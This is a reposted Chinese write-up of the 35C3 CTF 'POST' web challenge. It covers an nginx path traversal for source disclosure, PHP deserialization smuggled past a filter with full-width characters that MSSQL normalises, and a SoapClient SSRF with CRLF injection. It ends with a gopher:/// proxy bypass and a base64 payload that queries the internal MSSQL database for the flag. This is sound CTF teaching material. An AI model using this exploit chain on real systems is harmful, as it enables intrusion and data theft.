内容简介:最近有点忙,所以拖了这么久才来复现这个题目,题目官方已经给了wp和docker环境,题目的描述如下:可以列取web目录,发现有个
最近有点忙,所以拖了这么久才来复现这个题目,题目官方已经给了wp和 docker 环境, https://github.com/eboda/35c3/ 可以本地搭建一下。
题目的描述如下:
Go make some posts http://35.207.83.242/ Hint: flag is in db Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.
0x1 nginx配置问题,导致文件文件读取
http http://127.0.0.1:8000/uploads../
可以列取web目录,发现有个 default.backup
,是nginx的配置文件,发现开了两个web服务,一个在80端口,一个在8080端口的只允许本地访问。
server { listen 80; access_log /var/log/nginx/example.log; server_name localhost; root /var/www/html; location /uploads { autoindex on; alias /var/www/uploads/; } location / { alias /var/www/html/; index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } location /inc/ { deny all; } } server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log; if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } }
下载下来所有的代码,进行审计
0x2 post服务的任意类伪造
先下载下来 html
目录post服务的代码,发现基本功能如下:
1.创建post的功能:
#filename:default.php if (isset($_POST["title"])) { $attachments = array(); if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) { $folder = sha1(random_bytes(10)); mkdir("../uploads/$folder"); for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) { if ($_FILES["attach"]["error"][$i] !== 0) continue; $name = basename($_FILES["attach"]["name"][$i]); move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name"); $attachments[] = new Attachment("/uploads/$folder/$name"); } } $post = new Post($_POST["title"], $_POST["content"], $attachments); $post->save(); }
2.显示post的功能
#filename:default.php $posts = Post::loadall(); if (empty($posts)) { echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>"; } else { echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>"; } foreach($posts as $p) { echo $p; echo "<br><br>"; }
与这个功能相关两个类, Post
和 Attachment
类的代码如下:
<br />#filename:post.php class Attachment { private $url = NULL; private $za = NULL; private $mime = NULL; public function __construct($url) { $this->url = $url; $this->mime = (new finfo)->file("../".$url); if (substr($this->mime, 0, 11) == "Zip archive") { $this->mime = "Zip archive"; $this->za = new ZipArchive; } } public function __toString() { $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime "; if (!is_null($this->za)) { $this->za->open("../".$this->url); $str .= "with ".$this->za->numFiles . " Files."; } return $str. ")"; } } class Post { private $title = NULL; private $content = NULL; private $attachment = NULL; private $ref = NULL; private $id = NULL; public function __construct($title, $content, $attachments="") { $this->title = $title; $this->content = $content; $this->attachment = $attachments; } public function save() { global $USER; if (is_null($this->id)) { DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", array($USER->uid, $this->title, $this->content, $this->attachment)); } else { DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?", array($this->title, $this->content, $this->attachment, $USER->uid, $this->id)); } } public static function truncate() { global $USER; DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid)); } public static function load($id) { global $USER; $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?", array($USER->uid, $id)); if (!$res) die("db error"); $res = $res[0]; $post = new Post($res["title"], $res["content"], $res["attachment"]); $post->id = $id; return $post; } public static function loadall() { global $USER; $result = array(); $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ; if (!$posts) return $result; foreach ($posts as $p) { $result[] = Post::load($p["id"]); } return $result; } public function __toString() { $str = "<h2>{$this->title}</h2>"; $str .= $this->content; $str .= "<hr>Attachments:<br><il>"; foreach ($this->attachment as $attach) { $str .= "<li>$attach</li>"; } $str .= "</il>"; return $str; } }
0x2.1 数据存入数据库的过程
着重看一下Post类的save操作:
#filename:post.php public function save() { global $USER; if (is_null($this->id)) { DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", array($USER->uid, $this->title, $this->content, $this->attachment)); } else { DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?", array($this->title, $this->content, $this->attachment, $USER->uid, $this->id)); } }
这里需要注意的是 $this->attachment
是一个包含 Attachment
类实例的数组,这个类数组在写数据库的时候是怎么处理的?
继续跟踪DB类的insert和query操作:
#filename:db.php public static function query($sql, $values=array()) { if (!is_array($values)) $values = array($values); if (!DB::$init) DB::initialize(); $res = sqlsrv_query(DB::$con, $sql, $values); if ($res === false) DB::error(); return DB::retrieve_values($res); } public static function insert($sql, $values=array()) { if (!is_array($values)) $values = array($values); if (!DB::$init) DB::initialize(); $values = DB::prepare_params($values); $x = sqlsrv_query(DB::$con, $sql, $values); if (!$x) throw new Exception; }
看到 insert
函数里调用了 prepare_params
,看一下代码:
#filename:db.php private static function prepare_params($params) { return array_map(function($x){ if (is_object($x) or is_array($x)) { return '$serializedobject$' . serialize($x); } if (preg_match('/^\$serializedobject\$/i', $x)) { die("invalid data"); return ""; } return $x; }, $params); }
看到这里就明白了,插入数据库之前,对object数据或者array数据进行了一次序列化,并在前面加上了字符串 $serializedobject$
作为标志。
但是DB类的 query
函数中并没有调用 prepare_params
函数,所以我曾一度认为漏洞点在这里
#filename: post.php } else { DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?", array($this->title, $this->content, $this->attachment, $USER->uid, $this->id)); }
现在看来难道是出题人这里写错了,不过好像永远不会执行到这里?
0x2.2 数据读出数据库的过程
看第2个功能,显示post的功能, Post
的 loadall
函数:
#filename:post.php public static function load($id) { global $USER; $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?", array($USER->uid, $id)); if (!$res) die("db error"); $res = $res[0]; $post = new Post($res["title"], $res["content"], $res["attachment"]); $post->id = $id; return $post; } public static function loadall() { global $USER; $result = array(); $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ; if (!$posts) return $result; foreach ($posts as $p) { $result[] = Post::load($p["id"]); } return $result; }
load
函数调用了 DB::query
函数, DB::query
函数会调用 retrieve_values
进行反序列化:
#filename:db.php private static function retrieve_values($res) { $result = array(); while ($row = sqlsrv_fetch_array($res)) { $result[] = array_map(function($x){ return preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x; }, $row); } return $result; }
可以看到,这里把从数据库中取出的 所有字段 中查找 $serializedobject$
标志,如果找到了就把标志后面的部分进行反序列化。这里关键词是 所有字段
,如果我们可以伪造以 $serializedobject$
开头的字符串,存入数据库中,就可以造成任意类伪造了。
但是在数据存入数据库之前会检查数据中是否有 $serializedobject$
,如果有就不允许写入数据库:
#filename:db.php private static function prepare_params($params) { return array_map(function($x){ if (is_object($x) or is_array($x)) { return '$serializedobject$' . serialize($x); } if (preg_match('/^\$serializedobject\$/i', $x)) { die("invalid data"); return ""; } return $x; }, $params); }
看了官方的WP,才知道这里有个小trick:
Luckily, MSSQL automatically converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84
, it will be stored as $
.
这里说的 0xEF 0xBC 0x84
其实说的UTF-8编码,对应的二进制是 1110 1111 1011 1100 1000 0100
,根据unicode和utf8的转换规则,这里表示的unicode字符应该是 1111 1111 0000 0100
,即 0xFF04
,查一下unicode表,表示的字符是 $
,是 $
的全角字符。
mssql会把这种全角字符转化为对应的ascii码,所以 0xFF21~0xFF5A
这个范围内的字符都是可以被转换的,可以利用这个trick绕过这个检查。
其实这种数据库关于字符的trick,在 mysql 中也不少,例如:
select username from table where username='admin%2c'; select username from table where username='Àdmin'; -- 这两个 sql 语句都可能查出admin的记录,但是原理不一样,可以自己去看p师傅的博客或者小密圈。 -- 这几个字符会引起截断
所以插入post的时候,在content字段伪造 $serializedobject$序列化的数据
,在显示post的时候就会成功的反序列化出任意类。
0x3 反序列化触发SSRF
可以进行任意类伪造了,但是伪造什么类呢,根据 /miniProxy
目录里面的代码,很容易想到需要伪造SoapClient,进行SSRP的,接下来就是找怎么触发SoapClient来发请求了。
看展示post的代码:
#filename:default.php foreach($posts as $p) { echo $p; echo "<br><br>"; }
这里的 $p
是 Post
类的示例,所以会调用 Post
类的 __toString
函数:
#filename:post.php public function __toString() { $str = "<h2>{$this->title}</h2>"; $str .= $this->content; $str .= "<hr>Attachments:<br><il>"; foreach ($this->attachment as $attach) { $str .= "<li>$attach</li>"; } $str .= "</il>"; return $str; }
在这里展示 $this->attachment
的时候,又会调用 Attachment
的 __toString
函数:
#filename:post.php public function __toString() { $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime "; if (!is_null($this->za)) { $this->za->open("../".$this->url); $str .= "with ".$this->za->numFiles . " Files."; } return $str. ")"; }
注意这里的 $this->za->open()
操作,如果我们伪造 $this->za
为 SoapClient
类的实例,在这里调用 open
函数的时候,就会触发 SoapClient
的 __call
函数,发送一次请求。
所以利用思路是,伪造 content
为 Attachment
实例,其中的 $this->za
是一个 SoapClient
实例,那么在展示 content
的时候就会触发 Attachment
的 __toString
操作,从而触发 SoapClient
的 __call
函数。
poc如下:
class Attachment { private $url = NULL; private $za = NULL; private $mime = NULL; public function __construct() { $this->url = "test"; $this->mime = "test" $this->za = new SoapClient(null,array('location' => "http://127.0.0.1:9999", 'uri'=> "http://test-uri/")); } } $attachment = new Attachment(); echo '$serializedobject$'.serialize($attachment);
看到发送的请求,如下:
0x4 利用miniProxy
看miniProxy的nginx配置文件:
server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log; if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } }
miniProxy只接受GET请求,但是Soapclient发送的请求,默认是POST的,这个其实很好绕过,在这篇文章 http://wonderkun.cc/index.html/?p=691 中我就讲过这个利用SoapClient类的CRLF漏洞,发起长连接的技巧,这里刚好用上了。
下面主要看一下怎么利用miniProxy了,审计一下miniProxy的代码
看下面这一段:
if (isset($_POST["miniProxyFormAction"])) { $url = $_POST["miniProxyFormAction"]; unset($_POST["miniProxyFormAction"]); } else { $queryParams = Array(); parse_str($_SERVER["QUERY_STRING"], $queryParams); //If the miniProxyFormAction field appears in the query string, make $url start with its value, and rebuild the the query string without it. if (isset($queryParams["miniProxyFormAction"])) { $formAction = $queryParams["miniProxyFormAction"]; unset($queryParams["miniProxyFormAction"]); $url = $formAction . "?" . http_build_query($queryParams); } else { $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1); } }
可以看到在只能对miniProxy发GET请求的情况下的 $url
有两种来源方式:
1. $url = $formAction . "?" . http_build_query($queryParams); 2. $url = substr($_SERVER["REQUEST_URI"], strlen($_SERVER["SCRIPT_NAME"]) + 1);
下面对 $url
进行了一些检查,只允许http和https协议
} else if (strpos($url, ":/") !== strpos($url, "://")) { //Work around the fact that some web servers (e.g. IIS 8.5) change double slashes appearing in the URL to a single slash. //See https://github.com/joshdick/miniProxy/pull/14 $pos = strpos($url, ":/"); $url = substr_replace($url, "://", $pos, strlen(":/")); } $scheme = parse_url($url, PHP_URL_SCHEME); if (empty($scheme)) { //Assume that any supplied URLs starting with // are HTTP URLs. if (strpos($url, "//") === 0) { $url = "http:" . $url; } } else if (!preg_match("/^https?$/i", $scheme)) { die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.'); }
这个代码明显少处理一种情况,就是当 $scheme
为空,并且 $url
不是以 //
开头的情况。明显写代码人的认为这种情况的 $url
一定是错误的,后面调用libcurl访问这样的url一定是发送不出去请求的。
那有没有这样的url,是libcurl可以发送出请求的,并且经过 parse_url
处理返回的 $scheme
还是空的呢?
当然是有的,在这个题目 https://github.com/wonderkun/CTF_web/blob/master/php4fun/challenge9.php 中我们就遇到过。
php > var_dump(parse_url("http:///www.baidu.com")); bool(false)
所以可以利用 /miniProxy.php?gopher:///
来绕过协议的限制,向mssql发送数据。
0x5 利用gopher协议打mssql
最后就是利用gopher来打mssql了,因为mssql的通讯协议不想自己抓了,用官方的 exploit.php
。
需要先找到自己的uid:
#filename:bootstrap.php } else if (isset($_SESSION["username"])) { $USER = new User($_SESSION["username"], $_SESSION["password"]); if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER); }
添加一个 DEBUG
头,就看到自己的uid了。
然后构造payload:
php exploit.php "insert into posts(userid,title,content,attachment) values (1,\"test\",(select flag from flag.flag),\"test\");" JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2x vY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdX Nlcl9hZ2VudCI7czoxMzQ5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJ TAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAy JTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTA wJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMC VBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwM CUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDBy JTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDB jJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMS UwMSUwMCVGQyUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwc yUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUy QyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTA wbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAxJTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMC UyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMjAlMDBmJTAwciUwMG8lMDBtJTAwJTIwJTAwZiUwMGwlMDBhJ TAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMCUyOSUwMCUzQiUwMCUzQiUwMC0lMDAtJTAwJTIw JTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=
用 python 发送这个base64解码之后的content,就可以打到flag了。
去年34c3CTF的时候出SSRF打mysql,35c3CTF的时候出SSRF打sql server 。c3CTF真是太真实了,大胆猜一下,明年打哪个数据库?
以上所述就是小编给大家介绍的《35c3 POST题目复现》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 从一道线下赛题目看VM类Pwn题目-debugvm
- Leetcode 题目:括号匹配
- HCTF逆向题目详析
- Hitcon2018 BabyCake题目分析
- 一道无线流量题目引发的思考
- 小李飞刀:SQL题目刷起来!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
一只小鸟告诉我的事
[美]比兹·斯通 / 顾雨佳 / 中信出版社 / 2014-11 / 59.00元
比兹•斯通,无疑是自乔布斯后的又一个硅谷奇迹! 70后的他,出身贫苦,一无所有,却又特立独行,充满智慧。从他这本自传中,我们知道他和乔布斯一样,大学都没读完就辍学做了一名图书封面设计师,然后创建了赞架(Xanga)网站,又进了谷歌。在经济上打了翻身仗后,他毅然放弃了安逸的生活,从零开始,和朋友创建了世界最知名的社交平台推特(Twitter)。当推特奇迹般地改变着世界时,他又悄然离去,创建了自......一起来看看 《一只小鸟告诉我的事》 这本书的介绍吧!